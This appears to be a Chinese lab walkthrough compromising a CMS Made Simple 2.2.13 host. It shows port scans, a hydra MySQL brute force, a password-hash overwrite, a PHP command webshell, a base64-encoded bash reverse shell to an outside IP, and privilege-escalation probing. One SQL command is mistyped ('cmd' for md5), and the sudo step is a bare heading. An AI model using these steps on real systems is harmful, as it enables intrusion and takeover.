建议先看提示
弱口令
源码审计
webshell上传及过滤绕过
敏感信息收集
sudo提权
端口扫描&服务探测&漏洞探测
nmap -p- 172.16.33.103
nmap -p22,80,3306,33060 -sV 172.16.33.103
nmap -p22,80,3306,33060 --script=vuln 172.16.33.103
边界突破
先尝试80端口,访问之后发现是一个cms
网站,cms made simple 2.2.13
搜一下相关漏洞,没有发现可利用的漏洞,访问首页,发现admin
用户
继续扫一下目录,进行信息收集
dirsearch -u http://172.16.33.103 -L
每一个能访问的目录,都访问一下,看有没有敏感信息暴露,结果没有
只有一个admin
的登录页面,需要用户名密码,尝试了admin
用户的弱口令,都没有成功
MySQL弱口令
80端口信息收集完,并没有突破边界,接着尝试3306
端口
直接上扫描
hydra -l root -P /usr/share/seclists/Passwords/500-worst-passwords.txt -e nsr -f mysql://172.16.33.103
爆破出弱口令root/root
,登录数据库后直奔存储网站用户密码的表(这里的密码已经是修改后的了)
使用hash-identifier
识别一下是md5
加密,尝试直接修改密码进行登录
update cms_users set password=md5('123123');
但是登录失败了,猜测有其他的密码加密规则,由于这个是cms
,可以进行源码审计,看看到底是怎么加密的
CMS源码审计
直接百度/谷歌搜官网,找到源码下载地址
下载源码,找到login.php
查看源码
找到处理登录的代码,发现LoadUserByUsername()
函数
全局搜索LoadUserByUsername()
函数定义
grep "function LoadUserByUsername" -r *
跟进查看
发现在密码前面拼接了个东西,但是不知道get_site_preference()
具体是干嘛的,所以继续全局搜索(用编辑器搜应该更方便),同时记住参数sitemask
grep "function get_site_preference" -r *
继续跟进cms_siteprefs
类
grep "class cms_siteprefs" -r *
代码能力有限,大概看出来是从全局缓存里根据key
去取值,没有对应的key
就返回空串,这里的key
就是传参sitemask
直接全局搜索sitemask
,看在哪里设置了这个东西
发现是一个类似加盐的字符串,里面包含了时间,并且随机排序了。
那么肯定不是每次对比密码时随机生成了,肯定是存在数据库中了。直接去数据库中找。
查看表的时候,发现有个名为cms_siteprefs
的表
查看表结构
describe cms_siteprefs
select sitepref_name,sitepref_value from cms_siteprefs;
成功或得sitemask
的值
尝试登录web
现在再来修改密码
update cms_users set password=cmd('a235561351813137123123');
然后成功登陆
首要目标就是找文件上传的地方,然后尝试上传webshell
,这里直接上传php
后缀会被过滤,修改为phtml
可以绕过。并且试了php-reverse-shell.phtml
也无法上传,可能对内容也有过滤,上传webshell
内容如下:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
然后通过命令执行的方式,反弹shell
(多储备几个反弹shell代码,有些会被过滤)
echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjguMC4xNDkvNDQ0NSA8JjEK | base64 -d | bash
提权
先升级一下shell,防止断开
python3 -c "import pty; pty.spawn('/bin/bash')"
ctrl + z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 60 columns 120
reset
suid提权
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
在这个脚本这搞了好久,还是没有成功,遂放弃
敏感信息发现
在/var/www/html/admin
目录下发现隐藏文件.htpasswd
(其实是通过linpeas.sh
脚本扫出来的)
查看文件内容
尝试base64解码,这里解码之后还是编码的,所以尝试多重解码
获得armour
用户的密码Shield@123
sudo 提权
总结
弱口令和信息收集是突破的关键